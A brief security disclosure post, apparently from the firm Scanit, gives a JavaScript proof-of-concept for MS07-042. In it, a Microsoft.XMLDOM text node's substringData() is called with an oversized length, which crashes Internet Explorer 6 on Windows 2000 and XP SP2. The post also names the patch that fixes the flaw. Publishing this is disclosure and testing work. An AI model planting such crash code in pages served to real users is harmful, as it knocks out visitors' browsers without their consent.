MS07-042 XMLDOM substringData() PoC
This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.loadXML("<dummy></dummy>");
var txt = xmlDoc.createTextNode("huh");
var out = txt.substringData(1,0x7fffffff);
Installing the patch from MS07-042 fixes it.
Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/